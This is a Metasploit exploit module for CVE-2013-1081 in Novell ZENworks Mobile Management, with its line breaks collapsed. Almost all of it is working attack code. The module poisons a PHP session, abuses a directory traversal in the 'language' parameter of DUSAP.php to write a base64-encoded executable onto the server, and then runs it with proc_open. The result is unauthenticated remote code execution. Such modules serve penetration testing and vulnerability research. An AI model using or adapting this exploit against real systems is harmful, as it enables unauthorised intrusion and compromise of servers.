## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize super( 'Name' => 'Novell Zenworks Mobile Managment MDM.php Local File Inclusion Vulnerability', 'Description' => %q{ This module exercises a vulnerability in Novel Zenworks Mobile Management's Mobile Device Management component which can allow unauthenticated remote code execution. Due to a flaw in the MDM.php script's input validation, remote attackers can both upload and execute code via a directory traversal flaw exposed in the 'language' parameter of a POST call to DUSAP.php. }, 'Author' => [ 'steponequit', # Metasploit module 'Andrea Micalizzi (aka rgod)' #zdi report ], 'Platform' => 'win', 'Targets' => [ [ 'Novell Zenworks Mobile Device Management on Windows', {} ], ], 'DefaultTarget' => 0, 'References' => [ ['CVE', '2013-1081'], ['OSVDB', '91119'], ['ZDI', '13-087'], ['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895'] ], 'DisclosureDate' => "Mar 13 2013", 'License' => MSF_LICENSE ) register_options([ OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']), OptInt.new('RPORT', [true, "Default remote port", 80]) ], self.class) register_advanced_options([ OptBool.new('SSL', [true, "Negotiate SSL connection", false]) ], self.class) end def get_version version = nil res = send_request_raw({ 'method' => 'GET', 'uri' => target_uri.path }) if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil) version = res.body.to_s.match(/
Version (.*)<\/p>/)[1] end return version end def check v = get_version print_status("#{peer} - Detected version: #{v || 'Unknown'}") if v.nil? return Exploit::CheckCode::Unknown elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/ # Conditions based on OSVDB info return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def setup_session() sess = Rex::Text.rand_text_alpha(8) cmd = Rex::Text.rand_text_alpha(8) res = send_request_cgi({ 'agent' => "", 'method' => "HEAD", 'uri' => normalize_uri("#{target_uri.path}/download.php"), 'headers' => {"Cookie" => "PHPSESSID=#{sess}"}, }) return sess,cmd end def upload_shell(session_id,cmd_var) fname = Rex::Text.rand_text_alpha(8) payload = generate_payload_exe cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';" cmd << "file_put_contents($wdir.'#{fname}.exe'," cmd << "base64_decode(file_get_contents('php://input')));" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "DUSAP.php"), 'data' => Rex::Text.encode_base64(payload), 'vars_get' => { 'language' => "res/languages/../../../../php/temp/sess_#{session_id}", cmd_var => cmd } }) return fname end def exec_shell(session_id,cmd_var,fname) cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';" cmd << "$cmd=$wdir.'#{fname}';" cmd << "$output=array();" cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w'))," cmd << "$pipes,null,null,array('bypass_shell'=>true));" cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "DUSAP.php"), 'data' => Rex::Text.encode_base64(payload), 'vars_get' => { 'language' => "res/languages/../../../../php/temp/sess_#{session_id}", cmd_var => cmd } }) end def exploit() begin print_status("#{peer} - Checking application version...") v = get_version if v.nil? print_error("#{peer} - Unable to detect version, abort!") return end print_good("#{peer} - Found Version #{v}") print_status("#{peer} - Setting up poisoned session") session_id,cmd = setup_session() print_status("#{peer} - Uploading payload") fname = upload_shell(session_id,cmd) print_status("#{peer} - Executing payload") exec_shell(session_id,cmd,fname) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE rescue ::OpenSSL::SSL::SSLError => e return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted end end end